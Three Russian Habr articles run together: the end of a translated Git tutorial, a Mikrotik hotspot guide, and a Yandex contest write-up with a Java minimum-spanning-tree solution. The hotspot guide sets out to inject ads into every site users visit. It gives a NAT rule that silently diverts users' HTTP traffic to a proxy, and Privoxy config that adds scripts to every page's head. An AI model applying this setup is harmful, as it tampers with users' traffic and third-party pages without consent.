То есть, наша локальная ветка разработки Z должна базироваться на последнем состоянии основной ветки D. Именно поэтому команда и называется *rebase* — она меняет базовый коммит ветки, из которой она вызывается. Если вы вызовете ее несколько раз, то сможете внести неограниченное количество изменений, оставаясь при этом в соответствии с основной веткой разработки, но не добавляя излишних коммитов слияния к вашей ветке разработки.
Вот команды, необходимые для выполнения вышеописанной операции с помощью rebase — сравните их с использованием merge выше:
```
$ git checkout Z # переключаемся в ветку Z
$ git rebase D #изменяем базовый коммит Z, чтобы он указывал на D
```
Хотя, в некоторых ситуациях *merge* предпочтительнее *rebase*.
У rebase имеется недостаток — даже если перебазированное рабочее дерево компилируется, это не гарантирует, что будут компилироваться промежуточные коммиты, так как они никогда не компилировались в своем перебазированном состоянии. Если историческая валидность кода для вас важна, выбирайте merge.
Заметьте, что при каждом перебазировании вы потенциально меняете каждый коммит в ветке. Раньше, когда W базировался на A, он содержал только изменения необходимые для преобразования A в W, а после перебазирования он будет содержать изменения, необходимые для преобразования D в W’. Даже преобразования из W в Х изменятся, так как A+W+X теперь выглядит как D+W’+X’ и так далее. Заметьте, что до сих пор я подчеркивал, что ветка Z — локальная. Если бы это была ветка, чьи изменения видны публично, и кто-нибудь породил свои локальные ветки от Z, то теперь их ветки будут указывать на старую Z, а не на новую Z’.
Обычно можно использовать следующее простое правило — используйте *rebase* для локальных веток, не имеющих потомков, а для всех остальных случаев — *merge*. Также merge будет полезен тогда, когда вы захотите вернуть ваши локальные изменения в основную ветку разработки.
Интерактивный rebase
--------------------
При использовании *rebase* выше, он автоматически переписывал все коммиты от W до Z, для перебазирования ветки Z в коммит D (в заголовочный коммит ветви D). Однако, вы можете полностью контролировать происходящее вручную. Если задать ключ -i для rebase, вы сможете выбрать то, что будет сделано для каждого коммита в локальной ветви Z.
Выбор осуществляется из следующих опций.
* **pick** (выбрать) — Поведение по умолчанию, используемое для каждого коммита в ветке, если вы не используете интерактивный режим. Оно означает, что данный коммит должен быть применен к своему (теперь уже переписанному) родительскому коммиту. При возникновении конфликтов rebase предложит вам их разрешить.
* **squash** (сплющить)— Содержимое коммита будет «вложено» в содержимое предыдущего коммита. Это может быть сделано любое количество раз. Если взять вышеиспользованную для примера ветку и сплющить все ее коммиты (конечно же, кроме первого, который должен быть просто выбран), то новая ветка Z будет иметь единственный коммит поверх D. Это может быть полезным, если ваши изменения размазаны по множественным коммитам, но вы хотите, чтобы в истории они показывались как единый коммит.
* **edit** (редактировать) — если вы пометите коммит таким образом, то процесс rebase остановится, а вы попадете в оболочку, где сможете совершить дополнительные необходимые изменения, после чего команда rebase --continue продолжит исполнение так, будто внесенные изменения были там изначально.
* **drop** (выбросить) — если вы удалите коммит из интерактивного rebase, то он просто пропадет — так, будто никогда и не был сделан. Заметьте, что в этом случае возможны конфликты слияния, в случае если более поздние коммиты зависели от данных изменений.
Всю мощь команды rebase трудно оценить с первого взгляда, но она дает вам практически неограниченный контроль над видом каждой ветки кода. Вы можете использовать rebase для:
* объединения нескольких коммитов в один,
* переупорядочивания коммитов,
* удаления нежелательных изменений, о которых вы начали сожалеть,
* перемещения вашей ветки на любой существующий коммит в репозитории,
* изменения единичного коммита спустя значительное время после его создания.
В общем, я бы рекомендовал вам почитать мануал по *rebase*, там содержится несколько хороших примеров использования всей мощи этой команды. Здесь же приведу заключительный пример, демонстрирующий супер-возможности *rebase*.
Представьте себе следующий сценарий и подумайте, что бы вы делали, если в один прекрасный день вы бы захотели, чтобы вспомогательная ветка I стала новым заголовком Z:
То есть, у нас есть основная линия разработки — D, которая три коммита назад была разветвлена для начала гипотетической разработки Z. В какой-то момент в середине этого процесса, когда еще C и X были заголовками своих соответствующих веток, мы решили начать еще одну исследовательскую ветку, которая в итоге произвела L. После чего мы обнаружили, что код в L — хороший, но не настолько, чтобы влить его назад в основную линию разработки D, так что мы решили переместить изменения в ветку Z, чтобы все изменения были там. Но в процессе мы осознаем, что необходимо быстро подправить J, так как там в копирайте стоит неверный год. Вот команды, необходимые для распутывания этого узла:
```
$ git checkout L
$ git rebase -i Z
```
После разрешения возможных конфликтов *(тут переводчик снова тяжело вздыхает)*, репозиторий будет выглядеть так:
Индекс: Встречайте посредника
-----------------------------
Между вашими файлами, хранящимися в файловой системе и фрагментами Git, хранящимися в репозитории, стоит в некоторой мере загадочная сущность — Git индекс. Понять его непросто отчасти потому, что ему не повезло с названием. Это индекс в том смысле, что он ссылается на набор новых деревьев и фрагментов, которые вы создали с помощью команды add. Эти новые объекты, возможно, скоро будут объединены в новое дерево с целью коммита в ваш репозиторий. Но до тех пор на них ссылается только индекс. Это значит, что если вы разрегистрируете изменения в индексе с помощью reset, то ваши фрагменты будут, фактически потеряны, и впоследствии удалены. Индекс — это просто область подготовки для вашего следующего коммита, и для его существования есть уважительная причина: он поддерживает модель разработки, которая может показаться чужеродной пользователям CVS и Subversion, но более чем знакомой пользователям Darcs — возможность построения коммита в несколько стадий.
Но, при этом, есть способ почти полностью игнорировать индекс — путем передачи ключа -a команде commit. Давайте посмотрим, как, например, работает другая система контроля версий — Subversion.
В ней имеется команда *svn status*, выдающая список действий, которые будт применены к вашему репозиторию при следующем вызове *svn commit*. Этот «список следующих действий» и есть в некотором роде неформальный индекс, определяемый путем сравнения состояния вашего рабочего дерева с состоянием HEAD. Если какой-либо файл был изменен, при следующем коммите эти изменения будут сохранены. Если напротив имени файла в этом списке стоит знак вопроса, то он будет игнорирован, а новый файл, добавленный с помощью *svn add* будет помещен в репозиторий.
Именно это и происходит при использовании вами в Git команды *commit -a*: новые неизвестные файлы игнорируются, а новые, добавленные в команде add, попадут в репозиторий, так же, как и любые изменения существующих файлов.
Это действие почти идентично тому, что делает *Subversion*, за единственным исключением: в случае *Subversion* «список следующих действий» всегда определяется по текущему рабочему дереву, а в Git этот лист представляет собой содержимое индекса, то есть, то, что станет следующим состоянием HEAD. Такая предварительная подготовка изменений дает вам дополнительный уровень контроля — возможность повлиять на то, что произойдет при последующем выполнении *commit*.
Если это еще не совсем понятно, то давайте рассмотрим следующий пример: пусть у вас имеется исходный файл foo.c, в котором вы сделали два набора независимых изменений. И теперь вы хотите разделить эти изменения на 2 отдельных коммита, каждый со своим описанием. Вот как это делается в *Subversion*:
```
$ svn diff foo.c > foo.patch
$ vi foo.patch
<редактируем foo.patch, сохраняя изменения, которые я хочу позже включить в коммит>
$ patch -p1 -R < foo.patch # убираем второй набор изменений
$ svn commit -m "Сообщение первого коммита"
$ patch -p1 < foo.patch # применяем оставшиеся изменения
$ svn commit -m "Сообщение второго коммита"
```
Правда весело? А теперь повторите эти операции многократно для сложного динамического набора изменений.
А теперь версия той же операции для Git, использующая индекс:
```
$ git add --patch foo.c
<интерактивно выбираем изменения для первого коммита>
$ git commit -m "Сообщение первого коммита"
$ git add foo.c # добавляем оставшиеся изменения
$ git commit -m "Сообщение второго коммита"
```
Reset или не reset?
-------------------
Одна из самых сложных команд для освоения в Git это *reset* — обычно она смущает больше, чем другие команды. Что вполне понятно, учитывая возможность *reset* изменять как ваше рабочее дерево, так и текущий HEAD. Так что будет полезно привести здесь краткий обзор работы этой команды.
Можно сказать, что *reset* — это редактор ссылок, индекса и рабочего дерева. Столько всего — немудрено и запутаться. Давайте посмотрим на разницу между этими тремя режимами и на то, как они вписываются в модель коммитов Git.
### Делаем комбинированный reset
Если вы используете опцию --mixed (или вообще не используете опций, так как mixed — берется по умолчанию), *reset* вернет ваш индекс, а также HEAD к состоянию выбранного коммита. Основное отличие этой опции от -soft состоит в том, что -soft меняет исключительно значение HEAD, не затрагивая индекс.
```
$ git add foo.c # добавляем изменения в индекс в виде нового фрагмента
$ git reset HEAD # убираем все изменения, внесенные в индекс
$ git add foo.c # мы ошиблись, возвращаем все назад
```
### Делаем soft reset
Использование reset опции -soft эквивалентно простому переводу HEAD на другой коммит. Изменений в рабочем дереве при этом не происходит. Это означает эквивалентность двух нижеследующих команд:
```
$ git reset --soft HEAD^ # перевести HEAD на ее родителя, т.е. фактически игнорировать последний коммит
$ git update-ref HEAD HEAD^ # делает то же самое вручную
```
В обоих случаях ваше рабочее дерево теперь соответствует предыдущему состоянию HEAD, так что если запустить *git status*, вы увидите больше изменений. И это — не реальное изменения в ваших файлах, а просто отражение того, что они теперь сравниваются с предыдущими версиями. Это дает вам шанс создать новый коммит вместо старого.
Тут надо упомянуть, что если вы хотите изменить самый недавний выбранный коммит, то для этого существует команда *commit -amend*, добавляющая ваши новейшие изменения к последнему коммиту так, как будто вы внесли их туда изначально.
Но, пожалуйста, заметьте: если у вашего проекта есть внешние пользователи и они сделали что-то поверх вашего предыдущего HEAD, того, который вы отбросили с помощью *reset*, то это приведет к автоматическому слиянию (*merge*) после того, как пользователи возьмут новую версию проекта.
Вот как будет выглядеть ваше дерево после soft reset и нового коммита:
А вот как будет выглядеть HEAD ваших пользователей после того как они возьмут новую версию — цвета на рисунке показывают соответствие различных коммитов:
### Делаем hard reset
Опция --hard у команды *reset* — штука потенциально опасная, так как если вы сделаете hard reset для текущего HEAD, то это приведет к стиранию всех изменений в вашем рабочем дереве так, что ваши текущие файлы станут соответствовать содержимому HEAD.
Существует еще одна команда — *checkout*, которая действует так же, как и reset --hard, но только в случае, если индекс пуст. В противном случае она приводит ваше рабочее дерево в соответствие с индексом.
Теперь, если вы сделаете hard reset до какого-нибудь раннего коммита, то это будет эквивалентно использованию сначала *reset --soft*, а потом *reset -hard* для перезагрузки вашего рабочекго дерева. То есть, следующие команды равнозначны:
```
$ git reset --hard HEAD~3 # Возвращаемся назад во времени, отбрасывая изменения
$ git reset --soft HEAD~3 # Устанавливаем HEAD на ранний коммит
$ git reset --hard # Стираем изменения в рабочем дереве
```
Как можно видеть, hard reset может быть очень разрушительным. К счастью, существует более безопасный способ достижения того же самого эффекта — с использованием *git stash* (см. следующий раздел)
```
$ git stash
$ git checkout -b new-branch HEAD~3 # заголовок вернулся назад во времени!
new HEAD
HEAD
```
У данного подхода есть два значительных преимущества в случае, когда вы не уверены в том, что действительно хотите радикально изменить текущую ветку:
1. Он сохраняет вашу работу в хранилище (stash), откуда вы можете забрать ее назад в любой момент. Заметьте, что это хранилище не привязано к конкретной ветке, так что вы можете сохранить состояние вашего рабочего дерева в одной ветке, а позже наложить отличия на другую ветку.
2. Stash возвращает ваше дерево в прошлое состояние, но в новой ветке. Так то если вы решите сделать коммит с вашими изменениями по сравнению с прошлым состоянием, вы не измените вашу оригинальную ветку.
Если же вы вносите изменения в новую ветку new-branch и затем решаете, что она должна стать вашей новой master, то необходимо выполнить следующие команды:
```
$ git branch -D master # прощай, старый master (пока еще сохранится в reflog)
$ git branch -m new-branch master # new-branch становится master
```
Мораль этого раздела такова: хотя вы и можете делать значительные оперативные вмешательства в вашу текущую ветку с использованием *reset --soft* и *reset --hard* (который также изменяет рабочее дерево), я не вижу причин, по которым это следует делать. Git делает работу с ветками столь простой и дешевой, что почти всегда стоит сделать ваши деструктивные изменения в новой ветке, а уже затем переместить ее, чтобы она заняла место вашей старой master. В этом состоит настоящая мудрость Джедаев!
А что если вы случайно выполните *reset -hard*, потеряв не только ваши текущие изменения, но и коммиты из вашей master? Если вы не использовали stash для создания моментальных снимков состояния (см. следующий раздел), то ваше рабочее дерево утеряно безвозвратно.
Единственное, что можно сделать, это восстановить вашу ветвь к ее предыдущему состоянию с использованием reflog (также описан в следующем разделе):
```
$ git reset --hard HEAD@{1} # восстановить из reflog перед изменением
```
Техника безопасности работы в Git требует использования *stash* перед *reset -hard*. Это впоследствии убережет вас от появления седых волос. Если вы использовали *stash*, то его можно использовать для восстановления вашего рабочего дерева следующим образом:
```
$ git stash # просто потому, что это хорошо бы сделать
$ git reset --hard HEAD~3 # возвращаемся назад во времени
$ git reset --hard HEAD@{1} # АААА! это была ошибка, давайте вернем все назад
$ git stash apply # возвращаем прежнее состояние нашего рабочего дерева.
```
Последние звенья в цепи: stash и reflog
---------------------------------------
До сих пор мы описали два отрезка пути, которыми фрагменты попадают в Git: сначала они создаются в индексе, без родительского дерева и владеющего ими коммита, а потом они коммитятся в репозиторий, где и существуют в качестве листьев, висящих на дереве, содержащемся в данном коммите.
Но, оказывается, существуют еще два места пребывания фрагментов в вашем репозитории. Первый — Git reflog, мета-репозиторий, записывающий в форме коммитов все изменения в вашем репозитории. Это означает, что когда вы создаете дерево из своего индекса и сохраняете его в коммите (все это делает команда *commit*), вы также, незаметно для себя добавляете этот коммит в reflog, посмотреть который можно при помощи следующей команды:
```
$ git reflog
5f1bc85... HEAD@{0}: commit (initial): Initial commit
```
Прелесть reflog состоит в его сохранении данных независимо от других изменений в вашем репозитории. Это означает, что я могу отвязать какой-либо коммит от моего репозитория (используя *reset*), но ссылка на него останется в reflog еще на 30 дней, защищая его от автоматической «уборки мусора». Что дает мне месяц на возможное восстановление коммита, если вдруг возникнет такая необходимость.
Второе место существования фрагментов, хотя и косвенное — это само рабочее дерево. И вот что я имею в виду. Если вы, например, изменили файл foo.c, но еще не добавили эти изменения в индекс, Git мог еще не создать фрагментов, но эти изменения уже существуют, ведь существует новое содержимое файла. Только оно находится в файловой системе, а не в репозитории Git. Несмотря на то, что реальных фрагментов там нет, у файла даже имеется свой SHA1 хэш id, посмотреть который можно так:
```
$git hash-object foo.c
<покажет hash id>
```
В чем польза этого для вас? Предположим, что в конце тяжелого рабочего дня вы остановитесь на полностью раскуроченном рабочем дереве. Тогда хорошей привычкой будет отложить ваши изменения в stash: (*прим. перев.: один из интересных вариантов перевода слова stash на русский — «заныкать»*)
```
$ git stash
```
Эта команда возьмет все содержимое вашей директории, включая как рабочее дерево, так и содержимое индекса, и создаст для них: фрагменты в репозитории, дерево, содержащее эти фрагменты, а также пару stash коммитов — для рабочего дерева и индекса. Будет записано и время вашего обращения к stash.
На следующий день вы просто вытащите ваши изменения из stash с помощью *stash apply*, но при этом вас останется reflog всех отложенных изменений.
Вот, что вы сделаете, придя на работу следующим утром (здесь WIP — сокращение от «Work in Progress» — «Работаем…»:
```
$ git stash list
stash@{0}: WIP on master: 5f1bc85... Initial commit
$ git reflog show stash # тот же вывод плюс хэш id для stash коммита
2add13e... stash@{0}: WIP on master: 5f1bc85... Initial commit
$ git stash apply
```
Так как ваше сохраненное в stash рабочее дерево хранилось в коммите, вы можете работать с ним точно так же, как и с любой веткой кода в любое время. Это значит, что вы можете посмотреть лог, увидеть то, что вы сохранили и выбрать любое из ваших предыдущих рабочих деревьев начиная с момента их сохранения:
```
$ git stash list
stash@{0}: WIP on master: 73ab4c1... Initial commit
...
stash@{32}: WIP on master: 5f1bc85... Initial commit
$ git log stash@{32} # когда я это сделал?
$ git show stash@{32} # покажите мне, над чем я работал
$ git checkout -b temp stash@{32} # посмотрим на это старое рабочее дерево!
```
Последняя команда особенно могущественная: смотрите, я сейчас получил в свое распоряжение не включенное ни в какие коммиты рабочее дерево давностью более месяца! Я никогда не добавлял эти файлы в индекс, я просто использовал простой прием: вызов stash перед тем, как разлогиниться каждый день вечером (конечно, только если я вносил какие-то изменения в мое рабочее дерево), и соответствующий вызов *stash apply* при каждом новом логине.
Если вы захотите почистить свой stash — скажем, хранить там только действия за последние 30 дней, не используйте stash clear, вместо него пользуйтесь командой reflog expire
```
$ git stash clear # Только не это! Вы потеряете всю эту историю
$ git reflog expire --expire=30.days refs/stash
<покажет сохраненные узлы stash >
```
То есть stash позволяет вам использовать незаметный контроль версий в отношении самого рабочего процесса — различных состояний вашего рабочего дерева изо дня в день. При желании вы можете даже использовать stash на регулярной основе, при помощи следующего скрипта (Unix OS):
```
$ cat < /usr/local/bin/git-snapshot
#!/bin/sh
git stash && git stash apply
EOF
$ chmod +x $\_
$ git snapshot
```
И я не вижу никаких причин для того, чтобы не запускать этот скрипт автоматически каждый час, а каждую неделю — команду reflog expire
Выводы
------
За долгие годы я использовал множество систем контроля версий и схем бекапа. Все они включали средства получения предыдущего содержания файла. Многие из них могли показать, как файл менялся со временем. Многие позволяли вернуться назад во времени и начать альтернативную линию развития, а впоследствии соединить эту новую линию с текущей. Гораздо меньшее количество из них допускало тонкий контроль над этим процессом, позволяя вам решить, какие именно части вы хотите сделать публичными. Git может сделать все эти вещи, причем, относительно просто — как только вы поймете его основы.
Это — не единственная система с подобным набором возможностей, и нельзя сказать, что она всегда предоставляет лучший интерфейс к ним. Но то, что делает Git, является отличным фундаментом для работы. Я могу представить множество новых систем, которые будут разработаны в будущем для эффективного использования гибкости, предоставляемой Git.
Большинство других известных мне систем оставили ощущение достижения своего концептуального плато — то есть, того, что все их дальнейшее развитие сведется к медленным улучшениям уже виденного раньше. Git же дает мне прямо противоположное впечатление. Мне кажется, что мы только начали раскрывать потенциальные возможности его обманчиво простого дизайна.
***От переводчика**. Оригинальный текст написан в 2009 году. Хотя я в последнее время постоянно пользуюсь git и даже имею [свой репозиторий](https://github.com/intel/ARM_NEON_2_x86_SSE) на GitHub, но, увы, не знаю, исполнилось ли с тех пор предсказание автора насчет дальнейшего развития Git. А вы знаете? Это кстати, отличная тема для обсуждения в комментариях.* | https://habr.com/ru/post/344962/ | null | ru | null |
# HotSpot в Mikrotik, или как заработать $: Часть 2
#### Общие сведения
Это вторая часть статьи, иллюстрирующие возможности использования OS Mikrotik, в качестве HotSpot точки. В первой части я рассказывал как настроить HotSpot, а так же познакомил с возможностью выдачи и покупки карт доступа. Ознакомиться с первой частью вы можете [здесь](http://nix.khd.ru/?p=2141).
#### Задачи и цели
Наша основная цель состоит в том что бы, на своем HotSpot'е научиться внедрять рекламу, на все сайты которые посещает пользователь.
#### Строить, строить, мастерить: Mikrotik
Для начала нам нужно немного перестроить текущий HotSpot для того что бы все запросы проксировались через вспомогательный сервер, выполняем следующую команду на маршрутизаторе:
```
/ip firewall nat
add action=dst-nat chain=hs-auth comment="hotspot redirect to proxy" \
disabled=no dst-port=80 in-interface=!e2_v454 protocol=tcp to-addresses=\
XX.XX.XX.XX to-ports=3120 place-before=0
```
где XX.XX.XX.XX — ip адрес вспомогательного сервера,
3120 — порт прокси.
Это правило перенаправляет весь трафик на вспомогательный прокси сервер, который его будет анализировать и модернизировать под наши нужды.
#### Строить, строить, мастерить: Вспомогательный сервер
Я использую в качестве вспомогательного сервера Centos 5.4. Добавляем следующие правило в iptables:
```
#proxy
-A VZ_INPUT -p tcp -m tcp --dport 3120 -j ACCEPT
```
Я использую не стандартные название таблиц фильтра, если хотите изменить их как у меня, сделаете следующие изменения в файле /etc/sysconfig/iptables:
```
:OUTPUT DROP [0:0]
:VZ_FORWARD - [0:0]
:VZ_INPUT - [0:0]
:VZ_OUTPUT - [0:0]
-A INPUT -j VZ_INPUT.
-A FORWARD -j VZ_FORWARD.
-A OUTPUT -j VZ_OUTPUT.
```
Для проксирования трафика, я использую **Privoxy**, он довольно быстро обрабатывает большое количество соединений.
В начале моих опытов я использовал perl и библиотеку [HTTP::Proxy](http://search.cpan.org/~book/HTTP-Proxy-0.29/lib/HTTP/Proxy.pm), однако работает она крайне медленно и вообще не очень стабильно, зачем она написана(библеотека), для меня так и осталось загадкой.
```
#создаем папки
mkdir /usr/local/proxy
mkdir /usr/local/proxy/privoxy
cd /usr/local/proxy/privoxy
#загружаем
wget http://downloads.sourceforge.net/project/ijbswa/Sources/3.0.21%20%28stable%29/privoxy-3.0.21-stable-src.tar.gz
#распаковываем и собираем
tar xvf privoxy-3.0.21-stable-src.tar.gz
cd privoxy-3.0.21-stable
make
#создаем папку bin для переноса только нужных файлов
mkdir /usr/local/proxy/privoxy/bin/
```
И так копируем только следующие файлы:
```
templates
config
logfile
match-all.action
privoxy
run.sh
user.action
user.filter
```
В папке templates, рекомендую расположить следующие файлы:
```
blocked
cgi-error-404
cgi-error-bad-param
cgi-error-disabled
cgi-error-file
cgi-error-file-read-only
cgi-error-modified
cgi-error-parse
connect-failed
connection-timeout
forwarding-failed
no-server-data
no-such-domain
```
А так же изменить содержимое каждого из них на очень простое(по умолчанию **Privoxy** выдает кучу лишней информации клиенту), например файл *blocked*, будет выглядеть следующим образом:
```
This Page is Blocked
Not Found
=========
The requested URL @protocol@@hostport@@path@ was blocked on this server.
```
Теперь файл запуска — *run.sh*:
```
#!/bin/sh
killall -9 privoxy
./privoxy
```
Добавляем *временно* его в автозагрузку(так как для постоянного запуска лучше использовать команду service), а именно строчку
`/usr/local/proxy/privoxy/bin/run.sh`
в файл /etc/rc.d/rc.local
#### Настройка: Privoxy
В этом разделе я приведу пример конфигурационных файлов с комментариями.
**config**:
```
confdir .
logdir .
actionsfile user.action # пользовательский конфиг действий
filterfile user.filter # пользовательский конфиг фильтра
logfile logfile #лог файл
listen-address XX.XX.XX.XX:3120 #прослушиваемый адрес и порт
accept-intercepted-requests 1 #важная строчка без неё прокси не будет обрабатывать перенаправленные запросы
#остальные настройки я оставил как есть, они были в конфигурации по умолчанию
toggle 1
enable-remote-toggle 0
enable-remote-http-toggle 0
enable-edit-actions 0
enforce-blocks 0
buffer-limit 4096
forwarded-connect-retries 0
allow-cgi-request-crunching 0
split-large-forms 0
keep-alive-timeout 5
socket-timeout 300
debug 12289
```
А теперь файл **user.action**:
```
{+filter{inc_jsc} +filter{main_div_gl}}
# Применяет фильтры inc_jsc и main_div_gl ко всем адресам
/
{-filter{open-link-in-self-frame} -filter{main_div_gl}}
# Блокирует применение фильтров для след. адресов(зачем добавлять рекламу google в сам google)
.ad.doubleclick.net
.ads.r.us/banners/
.google
.googles.
.googles
.googleads.
.doubleclick.
.gstat.
```
Собственно самый главный файл **user.filter**:
```
FILTER: inc_jsc
#добавляет в тег head два js файла, один стандартный jquery, а второй наш специальный
s@@$&
``` | https://habr.com/ru/post/175303/ | null | ru | null |
# Бот для тетриса и реверс-инжиниринг анимации. Разбор мобильного трека второго чемпионата по программированию
##### Победители мобильного трека
В уходящем году Яндекс провел два онлайн-чемпионата по программированию. Мы продолжаем публиковать разборы задач второго чемпионата. Напоминаем, что участникам было предложено четыре трека: машинное обучение, фронтенд, мобильная разработка и бэкенд. Перед вами разбор квалификационного раунда для мобильных разработчиков — 121 человек из числа прошедших квалификацию затем приняли участие в финале. Задачи придумали специалисты из Яндекс.Браузера и других команд поискового портала. В этом хабрапосте мы коснемся темы генетических алгоритмов, напишем бота для тетриса и пройдем квест разными для Android и iOS методами.
А. Кабели
---------
*Автор: Сергей Мясников*
| | | |
| --- | --- | --- |
| | **Все языки** | **Python 3.7.3 и Python 2.7** |
| Ограничение времени | 4 с | 20 c |
| Ограничение памяти | 256 МБ |
| Ввод | стандартный ввод или input.txt |
| Вывод | стандартный вывод или output.txt |
В новый офис привезли N компьютеров. Расположенный рядом радиотелескоп не позволяет использовать Wi-Fi для связи, и хелпдеску придется организовывать сеть с помощью LAN-кабелей. Собрав все завалявшиеся по углам кабели, админы сумели соединить K пар компьютеров. Утомившись после длинного рабочего дня, сотрудники хелпдеска обратились к вам за помощью — рассчитать бюджет, необходимый для завершения задачи. Так у вас появился список из M пар компьютеров, которые могут соединить админы, и стоимость каждого кабеля. Начав работу, вы обнаружили баг в системе расчета стоимости — вместо сложения стоимостей, они умножаются — так кабель стоимостью 4 и кабель стоимостью 3 вместе стоят не 7, как подсказывает логика, а 12.
Для выполнения задачи вам необходимо рассчитать стоимость кабелей, достаточных для организации связной сети — такой, что каждый компьютер соединен с каждым прямо или опосредованно.
**Форматы ввода/вывода, примеры и примечания**#### Формат ввода
Первая строка содержит числа 0 < N < 106, 0 ≤ K < 106, 0 ≤ M < 106.
Следующие K строк содержат пары чисел 0 < u, v ≤ N — номера компьютеров, уже соединенных хэлпдеском.
Следующие M строк содержат тройки чисел 0 < u, v ≤ N и 0 < p ≤ 109 — номера компьютеров, которые админы могут соединить при помощи кабеля стоимостью p.
#### Формат вывода
Выведите минимальную стоимость кабелей, достаточных для построения связанной сети, или –1 если построить полную сеть невозможно.
Ответ может быть очень большим, поэтому вывести его необходимо по модулю 231 – 1.
#### Пример 1
| | |
| --- | --- |
| **Ввод** | **Вывод** |
| `2 0 1
2 1 9` | `9` |
#### Пример 2
| | |
| --- | --- |
| **Ввод** | **Вывод** |
| `5 0 6
1 3 1
2 4 8
1 4 1
1 2 10
4 1 10
5 3 4` | `32` |
#### Пример 3
| | |
| --- | --- |
| **Ввод** | **Вывод** |
| `6 0 3
4 3 2
2 6 9
1 4 8` | `–1` |
#### Примечания
Объем входных данных может достигать 30 МБ — обратите внимание на скорость чтения.
#### Решение
Полная сеть, которую необходимо построить для решения задачи, — это не что иное, как минимальное остовное дерево. (Учитывая, что на момент начала построения уже добавлено K ребер, результирующий граф не обязательно является деревом, однако гарантированно содержит его.)
В классической постановке задача о нахождении минимального остовного дерева предполагает минимизацию суммы ребер, но здесь необходимо минимизировать произведение. К счастью, эти два дерева совпадают. Это несложно доказать, заменив веса ребер на их логарифмы.
Самые известные алгоритмы для построения минимального остовного дерева — это алгоритмы Прима и Краскала.
В случае плотных графов алгоритм Прима имеет асимптотику O(N2), что, учитывая ограничение N < 106, не позволяет использовать его для полного решения задачи. (Но отметим, что тестовые данные были составлены так, чтобы решение с указанной асимптотикой набирало ровно половину балловю)
Наивная реализация алгоритма Краскала, использующая массив для поддержания информации о текущей композиции компонент связности графа, имеет ассимптотику O(M log M + N2). Здесь это равнозначно O(N2). Для полного решения нужно использовать структуру данных, известную как cистема непересекающихся множеств (disjoint-set union, DSU).
DSU позволяет выполнять две операции: find(x) находит «лидера» множества, которому принадлежит x (лидер инъективно переводим в номер множества); union(x, y) объединяет множества, которым принадлежат x и y.
Эвристика сжатия путей и эвристика объединения по рангу, обычно применяемые при реализации структуры, позволяют добиться асимптотик, в практических случаях эквивалентных O(1).
Предположим, мы воспользовались DSU для поддержания информации о компонентах связности графа в процессе выполнения алгоритма Краскала. Тогда асимптотика алгоритма будет равна O(M log M + N) = O(M log M).
**Код решения**
```
public class CablesSolution {
private static final long MODULLO = 2147483647L;
public static void main(String[] args) {
InputReader in = new InputReader(System.in);
PrintWriter pw = new PrintWriter(System.out);
int n = in.readInt();
int k = in.readInt();
int m = in.readInt();
DisjointUnionSets dsu = new DisjointUnionSets(n + 1);
for (int i = 0; i < k; i++) {
int u = in.readInt();
int v = in.readInt();
dsu.union(u, v);
}
Edge[] edges = new Edge[m]; // (4 + 4 + 8) * 2M = 32M
for (int i = 0; i < m; i++) {
int u = in.readInt();
int v = in.readInt();
long p = in.readLong();
edges[i] = new Edge(u, v, p);
}
Arrays.sort(edges);
long res = 1;
boolean addedEdge = false;
for (Edge edge : edges) {
if (!dsu.check(edge.getU(), edge.getV())) {
dsu.union(edge.getU(), edge.getV());
res = (res * edge.getP()) % MODULLO;
addedEdge = true;
}
}
if (!dsu.isJoint()) {
res = -1;
} else if (!addedEdge) {
res = 0;
}
pw.println(res);
pw.flush();
pw.close();
}
public static class DisjointUnionSets {
private int[] rank; // 4M
private int[] parent; // 4M
DisjointUnionSets(int size) {
rank = new int[size];
parent = new int[size];
for (int i = 0; i < size; i++) {
parent[i] = i;
}
}
int find(int target) {
if (parent[target] != target) {
parent[target] = find(parent[target]);
}
return parent[target];
}
boolean check(int x, int y) {
return find(x) == find(y);
}
void union(int x, int y) {
int xRoot = find(x);
int yRoot = find(y);
if (xRoot == yRoot) {
return;
}
if (rank[xRoot] < rank[yRoot]) {
parent[xRoot] = yRoot;
} else if (rank[yRoot] < rank[xRoot]) {
parent[yRoot] = xRoot;
} else {
parent[yRoot] = xRoot;
rank[xRoot] = rank[xRoot] + 1;
}
}
boolean isJoint() {
int parent = -1;
for (int i = 1; i < rank.length; i++) {
if (parent == -1) {
parent = find(i);
} else {
if (parent != find(i)) {
return false;
}
}
}
return true;
}
}
private static class Edge implements Comparable {
private int u;
private int v;
private long p;
Edge(int u, int v, long p) {
this.u = u;
this.v = v;
this.p = p;
}
int getU() {
return u;
}
int getV() {
return v;
}
long getP() {
return p;
}
@Override
public int compareTo(Edge edge) {
return Long.compare(p, edge.p);
}
}
}
```
B. Утерянные фразы
------------------
*Автор: Дмитрий Фисько*
Взглянув на метрики приложения, менеджер Василий выдвинул гипотезу, что в интерфейсе не хватает некоей изюминки, которая удерживала бы пользователей. Поэтому Василий обратился с просьбой разнообразить интерфейс приложения к дизайнеру Марии. После нескольких скетчей Марию осенило! Идея с самого начала лежала на поверхности — оказалось, нужно добавить анимации для текста. Выбрали несколько текстов и сделали анимации. К сожалению, после завершения работы анимации перемешались, а исходный текст для каждой из них потерялся. Помогите команде понять, какой текст анимировался в каждом случае.
**Форматы ввода/вывода, пример и примечания**#### Формат ввода
У вас есть несколько текстовых файлов с заданными анимациями, для каждой нужно подобрать подходящий текст.
[Ссылка на архив с файлами анимации](https://yadi.sk/d/Pidz4td7MeHV3Q).
Каждая анимация определена параметрами:
— **canvasWidth canvasHeight** — ширина и высота контейнера для анимации, задаются в первой строке ввода,
— **figuresCount** — количество фигур, которые предстоит анимировать, задается во второй строке ввода,
— **rectangle centerX centerY width height angle color** — объявление прямоугольника с центром в точке (centerX, centerY), размером width × height, градусом угла поворота angle и указанным цветом,
— **circle centerX centerY radius color** — объявление круга с центром в точке (centerX, centerY), радиусом radius и указанным цветом.
Параметр color может иметь значения {black, red, white, yellow}. Параметр angle принимает значения в диапазоне (-359°, 359°).
Для каждой фигуры может быть задано сразу несколько типов анимации, которые применяются параллельно. При этом каждый тип анимации может применяться не более одного раза к фигуре. Количество анимаций, применяющихся к фигуре, задается числом 0 ⩽ figureAnimationsCount ⩽ 3 сразу после объявления фигуры.
Типы анимаций:
— **move destX destY time [cycle]** — движение фигуры в точку (destX, destY) за time миллисекунд.
— **rotate angle time [cycle]** — поворот фигуры на angle градусов за time миллисекунд.
— **scale destScale time [cycle]** — увеличение фигуры на destScale за time миллисекунд.
Если указан параметр cycle, то по завершении анимации ее движение продолжается в обратную сторону.
#### Формат вывода
